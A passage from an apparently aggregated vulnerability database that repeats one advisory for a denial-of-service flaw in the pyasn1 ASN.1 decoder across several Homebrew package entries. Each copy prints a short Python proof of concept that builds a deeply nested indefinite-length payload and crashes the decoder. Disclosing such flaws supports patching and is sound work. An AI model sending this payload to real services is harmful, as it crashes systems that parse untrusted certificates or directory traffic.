    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@12",
            "purl": "pkg:brew/ansible%4012"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "12.2.0"
                },
                {
                  "fixed": "12.3.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-ansible@12-CVE-2026-30922",
      "modified": "2026-10-07T22:50:17Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-ANSIBLE@9-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-07 22:51 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@9",
            "purl": "pkg:brew/ansible%409"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "9.6.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-ansible@9-CVE-2026-30922",
      "modified": "2026-10-07T22:51:30Z",
      "published": "2026-08-13T16:35:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-AWS-SHELL-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:37 – Updated: 2026-10-31 18:50 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

